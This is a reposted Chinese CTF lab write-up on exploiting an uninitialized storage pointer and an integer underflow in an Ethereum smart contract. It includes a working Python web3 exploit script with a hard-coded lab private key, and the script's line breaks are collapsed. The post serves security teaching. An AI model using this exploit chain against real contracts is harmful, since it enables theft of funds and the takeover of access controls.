某60區塊鏈安全之未初始化的存儲指針實戰二學習記錄

系列文章目錄

文章目錄

  • 系列文章目錄
  • 未初始化的存儲指針實戰二
    • 實驗目的
    • 實驗環境
    • 實驗工具
    • 實驗原理
    • 實驗內容
    • 實驗過程
    • EXP利用


未初始化的存儲指針實戰二

實驗目的

學會使用python3的web3模塊
學會分析以太坊智能合約未初始化的存儲指針漏洞
找到合約漏洞進行分析并形成利用

實驗環境

Ubuntu18.04操作機

實驗工具

python3

實驗原理

在solidity語言中,像動態的數組、struct、mapping這樣的復雜數據結構是不能直接在”棧”里面保存的,因為”棧”里只能保存單獨的”字”,也就是只能保存實際數據長度小于等于32字節的簡單數據類型。所以在solidity智能合約函數中聲明動態數組和struct時,必須明確指明其位置在storage還是memory中。
函數內聲明的struct若未初始化,若對其賦值,則會按照Solidity存儲規則從slot 0開始存儲,覆蓋之前slot位置的變量,造成不可預想的控制流劫持。

實驗內容

合約中內置了未初始化的存儲指針和整數溢出問題,找到合約漏洞并形成利用,把合約中的flag變量設置為true即可
使用python3的web3模塊遠程利用漏洞并獲取flag
實驗地址為nc ip 10008

實驗過程

獲取合約地址和合約源代碼
nc ip 10008連接到題目,輸入1,獲取部署合約的game account及token
在這里插入圖片描述

打開http://ip,輸入上述分配的game account,點擊Request獲取eth
在這里插入圖片描述

在這里插入圖片描述

nc ip 10008連接到題目,輸入2,獲取部署合約的地址及new token
在這里插入圖片描述

nc ip 10008連接到題目,輸入4,獲取合約源代碼,或者在題目附件找到合約源代碼
在這里插入圖片描述

分析合約源代碼漏洞
題目要求將合約中的flag變量設置為true
在這里插入圖片描述

分析代碼邏輯,需要滿足balanceOf[msg.sender] >= 10000000,但是并未有可以增加balanceOf[msg.sender]的代碼
漏洞在ubw函數中,函數中的第二個分支不存在初始化,n在執行的時候會形成未初始化漏洞,那么只要我們進入第二個分支就會修改storage中的第一個值為我們的地址,第二個值為2
第一個值為secret 因此通過未初始化漏洞我們可以執行onlySecret修飾的 fate函數,fate函數中存在整數溢出漏洞
通過整數溢出,我們可以獲得大量余額,然后payforflag即可將flag設置為true

EXP利用

用python編寫自動化exp,將下述contract_address替換成自己的題目合約地址即可,總共包括三個步驟:一是調用題目合約ubw()函數并轉賬3 wei,這樣就會進入到else分支,將slot 0位置的secret覆蓋成msg.sender,就可以滿足onlySecret;二是調用題目合約fate(0,1)函數,因為balanceOf[msg.sender]=0,此時0-1會產生整數下溢,滿足require的條件;三是調用題目合約payforflag()函數,因為此時balanceOf[msg.sender]由于整數下溢漏洞已經變成一個很大的數,滿足>=10000000的要求,可將flag設置為true

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x2880bF5Afe97F3bF983598E135474D743AC366C3"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.4.23')# call ubw() in ETH8 with 3 wei
data = Web3.keccak(text='ubw()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 3e-18)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call ubw() success")time.sleep(5)# call fate(0,1) in ETH8
data = Web3.keccak(text='fate(address,uint256)').hex()[:10]
data += '0'*64
data += '1'.rjust(64, '0')
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
# print(txn_receipt)
if(txn_receipt['status']==1):print("call fate(0,1) success")time.sleep(5)# call payforflag() in ETH8
data = Web3.keccak(text='payforflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
# print(txn_receipt)
if(txn_receipt['status']==1):print("call payforflag() success")

執行exp
在這里插入圖片描述

nc ip 10008連接到題目,輸入3,輸入之前的new token,獲取flag
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/167834.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/167834.shtml
英文地址,請注明出處:http://en.pswp.cn/news/167834.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

機器學習之自監督學習(四)MoCo系列翻譯與總結(二)

MoCo中相關工作的對比分析 去噪自動編碼器(Denoising Autoencoder)是一種用于學習數據表示的神經網絡模型。它的主要目標是通過去除輸入數據中的噪聲,學習到輸入數據的有用表示,從而提高模型對干凈數據的魯棒性。下面是對去噪自動…

Flink 常用物理分區算子(Physical Partitioning)

Flink 物理分區算子(Physical Partitioning) 在Flink中,常見的物理分區策略有:隨機分配(Random)、輪詢分配(Round-Robin)、重縮放(Rescale)和廣播(Broadcast)。 接下來,我們通過源碼和Demo分別了解每種物理分區算子的作用和區別。 (1) 隨機…

win10安裝pytorch(py39)

cuda≤11.6,觀察控制面板 觀察torch對應cuda版本 https://download.pytorch.org/whl/torch/ 安裝cuda11.6.0 CUDA Toolkit Archive | NVIDIA Developer cmd輸入nvcc -V 編輯國內鏡像源 .condarc anaconda prompt輸入 查看環境 conda env list 安裝py3.9…

uniapp視頻倍速播放插件,uniapp視頻試看插件——sunny-video使用文檔

sunny-video視頻倍速播放器 組件名:sunny-video 效果圖 img1img2img3img4 平臺差異說明 目前已應用到APP(安卓、iOS)、微信(小程序、H5)其它平臺未測試 安裝方式 本組件符合easycom規范,HBuilderX 2.5…

emoji

圖標的網址: webfx emojipedia 1.可以直接復制粘貼 2.按照其格式文本表示(Shortcodes) 🚀 😄 🤫 ?? 💀 還有關于通過鏈接引用shield.io中的圖標,沒有深究,不…

第六十三周周報

學習目標: 項目 實驗和論文 學習時間: 2023.11.18-2023.11.24 學習產出: 論文 對論文進行了潤色和修改 實驗 1、上周DiffusionRelative的結果無法再次復現,新跑的FID與以前實驗跑的結果相差不大,上周的結果應…

點大商城V2.5.3分包小程序端+小程序上傳提示限制分包制作教程

這幾天很多播播資源會員反饋點大商城V2.5.3小程序端上傳時提示大小超限,官方默認單個包都不能超過2M,總分包不能超20M。如下圖提示超了93KB,如果出現超的不多情況下可采用手動刪除一些images目錄下不使用的圖片,只要刪除超過100KB…

鴻蒙4.0開發筆記之DevEco Studio如何使用低代碼開發模板進行開發的詳細流程(六)

鴻蒙低代碼開發 一、什么是低代碼二、如何進行鴻蒙低代碼開發1、 創建低代碼開發工程(方式壹)2、已有工程則創建Visual文件(方拾貳) 三、低代碼開發界面介紹四、低代碼實現頁面跳轉五、低代碼開發建議 一、什么是低代碼 所謂低代碼…

Qt+xml解析

文章目錄 一、xml文件介紹1.1 XML 文件結構和基本概念1.2 XML 文件示例二、Qt讀取xml文件2.1 Qt讀取xml 步驟2.2 基本操作和函數 QXmlStreamReader2.3 錯誤處理errorString和hasError2.4 Qt讀取xml實例三、實際項目一、xml文件介紹 1.1 XML 文件結構和基本概念 XML(可擴展標…

三、ts高級筆記,

文章目錄 18、d.ts聲明文件19、Mixin混入20、Decorator裝飾器的使用21、-高級proxy攔截_Reflect元儲存22、-高級寫法Partial-Pick23、Readonly只讀_Record套對象24、高階寫法Infer占位符25、Inter實現提取類型和倒敘遞歸26、object、Object、{}的區別27、localStorage封裝28、協…

基于 STM32F7 和神經網絡的實時人臉特征提取與匹配算法實現

本文討論了如何使用 STM32F7 和神經網絡模型來實現實時人臉特征提取與匹配算法。首先介紹了 STM32F7 的硬件和軟件特點,然后討論了人臉特征提取和匹配算法的基本原理。接下來,我們將重點討論如何在 STM32F7 上實現基于神經網絡的人臉特征提取與匹配算法&…

微機原理_3

一、單項選擇題(本大題共15小題,每小題3分,共45分。在每小題給出的四個備選項中,選出一個正確的答案,請將選定的答案填涂在答題紙的相應位置上。) 在 8086 微機系統中,完成對指令譯碼操作功能的部件是()。 A. EU B. BIU C. SRAM D. DRAM 使計算機執行某…

【機器學習】聚類(一):原型聚類:K-means聚類

文章目錄 一、實驗介紹1. 算法流程2. 算法解釋3. 算法特點4. 應用場景5. 注意事項 二、實驗環境1. 配置虛擬環境2. 庫版本介紹 三、實驗內容0. 導入必要的庫1. Kmeans類a. 構造函數b. 閔可夫斯基距離c. 初始化簇心d. K-means聚類e. 聚類結果可視化 2. 輔助函數3. 主函數a. 命令…

ElasticSearch之虛擬內存

查看當前Linux系統中vm.max_map_count變量的值,命令如下: sysctl vm.max_map_count執行結果的樣例,如下: vm.max_map_count 65530修改參數vm.max_map_count的值,命令如下: sysctl -w vm.max_map_count2…

數組題目: 665. 非遞減數列、453. 最小移動次數使數組元素相等、283. 移動零、189. 旋轉數組、396. 旋轉函數

665. 非遞減數列 題解&#xff1a; 題目要求一個非遞減數列&#xff0c;我們可以考慮需要更改的情況&#xff1a; nums {4, 2, 5} 對于這個nums&#xff0c;由于2的出現導致非遞減&#xff0c;更改的情況就是要么4調到<2&#xff0c;要么2調到4,5. nums {1, 4, 2, 5} …

人工智能-注意力機制之注意力匯聚:Nadaraya-Watson 核回歸

查詢&#xff08;自主提示&#xff09;和鍵&#xff08;非自主提示&#xff09;之間的交互形成了注意力匯聚&#xff1b; 注意力匯聚有選擇地聚合了值&#xff08;感官輸入&#xff09;以生成最終的輸出。 本節將介紹注意力匯聚的更多細節&#xff0c; 以便從宏觀上了解注意力機…

Lubuntu 23.10用戶可使用LXQt 1.4桌面

導讀在眾多 Lubuntu 用戶的要求下&#xff0c;Lubuntu 開發人員決定將 LXQt 1.4 桌面環境向后移植到最新的 Lubuntu 23.10 &#xff08;Mantic Minotaur&#xff09; 版本。 是的&#xff0c;您沒看錯&#xff0c;您現在可以使用官方的 Lubuntu Backports PPA&#xff08;個人軟…

黑馬點評筆記 分布式鎖

文章目錄 分布式鎖基本原理和實現方式對比Redis分布式鎖的實現核心思路實現分布式鎖版本一Redis分布式鎖誤刪情況說明解決Redis分布式鎖誤刪問題分布式鎖的原子性問題分布式鎖-Redission分布式鎖-redission可重入鎖原理分布式鎖-redission鎖重試和WatchDog機制分布式鎖-redissi…

01、Tensorflow實現二元手寫數字識別

01、Tensorflow實現二元手寫數字識別&#xff08;二分類問題&#xff09; 開始學習機器學習啦&#xff0c;已經把吳恩達的課全部刷完了&#xff0c;現在開始熟悉一下復現代碼。對這個手寫數字實部比較感興趣&#xff0c;作為入門的素材非常合適。 基于Tensorflow 2.10.0 1、…

pandas獲取年月第一天、最后一天,加一秒、加一天、午夜時間

Timestamp對象 # ts = pandas.Timestamp(year=2023, month=10, day=15, # hour=15, minute=5, second=50, tz="Asia/Shanghai") ts = pandas.Timestamp("2023-10-15 15:05:50", tz="Asia/Shanghai") # 2023-10-15 15:05…